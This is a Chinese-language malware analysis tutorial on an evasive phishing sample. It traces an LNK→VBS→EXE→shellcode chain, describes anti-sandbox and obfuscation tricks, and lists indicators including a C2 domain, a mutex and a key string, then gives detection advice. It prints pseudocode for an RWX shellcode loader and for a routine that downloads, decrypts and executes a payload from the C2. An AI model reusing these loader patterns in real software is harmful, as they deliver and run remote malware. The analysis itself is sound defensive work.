针对一个有意思的钓鱼免杀样本的详细分析
字数 1453 2025-08-24 16:48:07

钓鱼免杀样本详细分析教学文档

1. 样本概述

这是一个具有高度对抗性的钓鱼攻击样本,主要特点包括:

  • 沙箱无法检测出恶意行为(沙箱逃逸)
  • 使用多阶段加载技术
  • 包含复杂的混淆和反分析机制
  • 最终从C2服务器下载并执行加密的Payload

2. 样本结构分析

2.1 初始文件结构

解压后的样本包含以下关键组件:

├── MACOSX目录(伪装成Mac相关文件)
├── LNK快捷方式(诱饵文件)
├── VBS脚本(初始执行入口)
└── DS_Strore.exe(核心恶意程序)

2.2 执行流程

  1. 用户点击LNK快捷方式
  2. 调用执行VBS脚本
  3. VBS脚本重命名目录下文件并启动DS_Strore.exe
  4. 执行PING操作(可能是延迟执行或反沙箱检测)

3. 核心恶意程序分析(DS_Strore.exe)

3.1 主函数结构

程序采用典型的ShellCode加载技术:

void main() {
    // 分配内存空间
    LPVOID mem = VirtualAlloc(NULL, shellcode_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    
    // 拷贝ShellCode到内存
    memcpy(mem, shellcode, shellcode_size);
    
    // 跳转执行ShellCode
    ((void (*)(void))mem)();
}

3.2 ShellCode分析

3.2.1 反分析技术

  • 包含大量混淆垃圾代码(干扰静态分析)
  • 动态解密关键字符串(防止字符串扫描)
  • 使用非常规API调用方式

3.2.2 关键功能

  1. 加载必要的DLL模块(kernel32.dll等)
  2. 动态解析所需API函数地址
  3. 解密关键字符串"LRcOSGV0ewEDBAQCQAA="(可能是C2通信密钥或标识)

3.3 C2通信机制

  1. 连接C2服务器

    • 域名:service-h87kxr41-1319584009.bj.tencentapigw.com.cn
    • 使用HTTPS协议(伪装成正常API网关)
  2. 通信过程

    • 发送POST请求
    • 上传解密出的字符串"LRcOSGV0ewEDBAQCQAA="
    • 接收服务器返回的加密数据
  3. 数据处理

    // 分配内存接收数据
    LPVOID payload_mem = VirtualAlloc(NULL, data_size, MEM_COMMIT, PAGE_READWRITE);
    
    // 读取加密数据
    InternetReadFile(hRequest, payload_mem, data_size, &bytesRead);
    
    // 解密数据
    decrypt_payload(payload_mem, data_size);
    
    // 设置内存为可执行
    VirtualProtect(payload_mem, data_size, PAGE_EXECUTE_READ, &oldProtect);
    
    // 执行解密后的Payload
    ((void (*)(void))payload_mem)();
    

4. 反检测技术分析

4.1 沙箱逃逸技术

  • 延迟执行(通过PING操作)
  • 环境敏感行为(可能在沙箱中不执行关键代码)
  • 多阶段加载(分离恶意组件)

4.2 静态分析对抗

  • 字符串加密(所有关键字符串都动态解密)
  • 代码混淆(插入大量无用指令)
  • 非常规API解析(动态获取API地址)

4.3 动态分析对抗

  • 创建互斥量"Yh-ioklsdf-san"(防止多实例)
  • 网络通信加密(HTTPS+自定义加密)
  • 分块传输Payload(避免一次性检测)

5. 威胁情报

  • C2服务器:service-h87kxr41-1319584009.bj.tencentapigw.com.cn
  • 互斥量:Yh-ioklsdf-san
  • 关键字符串:LRcOSGV0ewEDBAQCQAA=
  • 疑似Payload:基于分析可能是Cobalt Strike Beacon

6. 检测与防护建议

6.1 检测指标(IOC)

  • 文件哈希(需获取样本后计算)
  • 网络通信特征(特定域名和字符串)
  • 进程行为(DS_Strore.exe异常行为)

6.2 防护措施

  1. 企业防护

    • 阻断与C2域名的通信
    • 监控异常进程创建链(LNK→VBS→EXE)
    • 检测VirtualAlloc+PAGE_EXECUTE_READWRITE模式
  2. 终端防护

    • 启用行为检测(非签名程序的内存操作)
    • 限制脚本执行权限
    • 监控异常互斥量创建
  3. 分析建议

    • 动态分析时模拟真实用户环境
    • 重点关注网络通信后的内存操作
    • 完整捕获多阶段Payload

7. 技术总结

该样本展示了现代恶意软件的典型特征:

  1. 多阶段加载:LNK→VBS→EXE→ShellCode→Payload
  2. 强对抗性:反沙箱、反调试、反静态分析
  3. 隐蔽通信:伪装成合法API请求
  4. 内存驻留:全程无文件落地操作(除初始阶段)

这种类型的攻击需要防御者采用深度防御策略,结合静态特征、行为分析和网络监控等多种手段进行防护。

钓鱼免杀样本详细分析教学文档 1. 样本概述 这是一个具有高度对抗性的钓鱼攻击样本,主要特点包括: 沙箱无法检测出恶意行为(沙箱逃逸) 使用多阶段加载技术 包含复杂的混淆和反分析机制 最终从C2服务器下载并执行加密的Payload 2. 样本结构分析 2.1 初始文件结构 解压后的样本包含以下关键组件: 2.2 执行流程 用户点击LNK快捷方式 调用执行VBS脚本 VBS脚本重命名目录下文件并启动DS_ Strore.exe 执行PING操作(可能是延迟执行或反沙箱检测) 3. 核心恶意程序分析(DS_ Strore.exe) 3.1 主函数结构 程序采用典型的ShellCode加载技术: 3.2 ShellCode分析 3.2.1 反分析技术 包含大量混淆垃圾代码(干扰静态分析) 动态解密关键字符串(防止字符串扫描) 使用非常规API调用方式 3.2.2 关键功能 加载必要的DLL模块(kernel32.dll等) 动态解析所需API函数地址 解密关键字符串"LRcOSGV0ewEDBAQCQAA="(可能是C2通信密钥或标识) 3.3 C2通信机制 连接C2服务器 : 域名:service-h87kxr41-1319584009.bj.tencentapigw.com.cn 使用HTTPS协议(伪装成正常API网关) 通信过程 : 发送POST请求 上传解密出的字符串"LRcOSGV0ewEDBAQCQAA=" 接收服务器返回的加密数据 数据处理 : 4. 反检测技术分析 4.1 沙箱逃逸技术 延迟执行(通过PING操作) 环境敏感行为(可能在沙箱中不执行关键代码) 多阶段加载(分离恶意组件) 4.2 静态分析对抗 字符串加密(所有关键字符串都动态解密) 代码混淆(插入大量无用指令) 非常规API解析(动态获取API地址) 4.3 动态分析对抗 创建互斥量"Yh-ioklsdf-san"(防止多实例) 网络通信加密(HTTPS+自定义加密) 分块传输Payload(避免一次性检测) 5. 威胁情报 C2服务器 :service-h87kxr41-1319584009.bj.tencentapigw.com.cn 互斥量 :Yh-ioklsdf-san 关键字符串 :LRcOSGV0ewEDBAQCQAA= 疑似Payload :基于分析可能是Cobalt Strike Beacon 6. 检测与防护建议 6.1 检测指标(IOC) 文件哈希(需获取样本后计算) 网络通信特征(特定域名和字符串) 进程行为(DS_ Strore.exe异常行为) 6.2 防护措施 企业防护 : 阻断与C2域名的通信 监控异常进程创建链(LNK→VBS→EXE) 检测VirtualAlloc+PAGE_ EXECUTE_ READWRITE模式 终端防护 : 启用行为检测(非签名程序的内存操作) 限制脚本执行权限 监控异常互斥量创建 分析建议 : 动态分析时模拟真实用户环境 重点关注网络通信后的内存操作 完整捕获多阶段Payload 7. 技术总结 该样本展示了现代恶意软件的典型特征: 多阶段加载 :LNK→VBS→EXE→ShellCode→Payload 强对抗性 :反沙箱、反调试、反静态分析 隐蔽通信 :伪装成合法API请求 内存驻留 :全程无文件落地操作(除初始阶段) 这种类型的攻击需要防御者采用深度防御策略,结合静态特征、行为分析和网络监控等多种手段进行防护。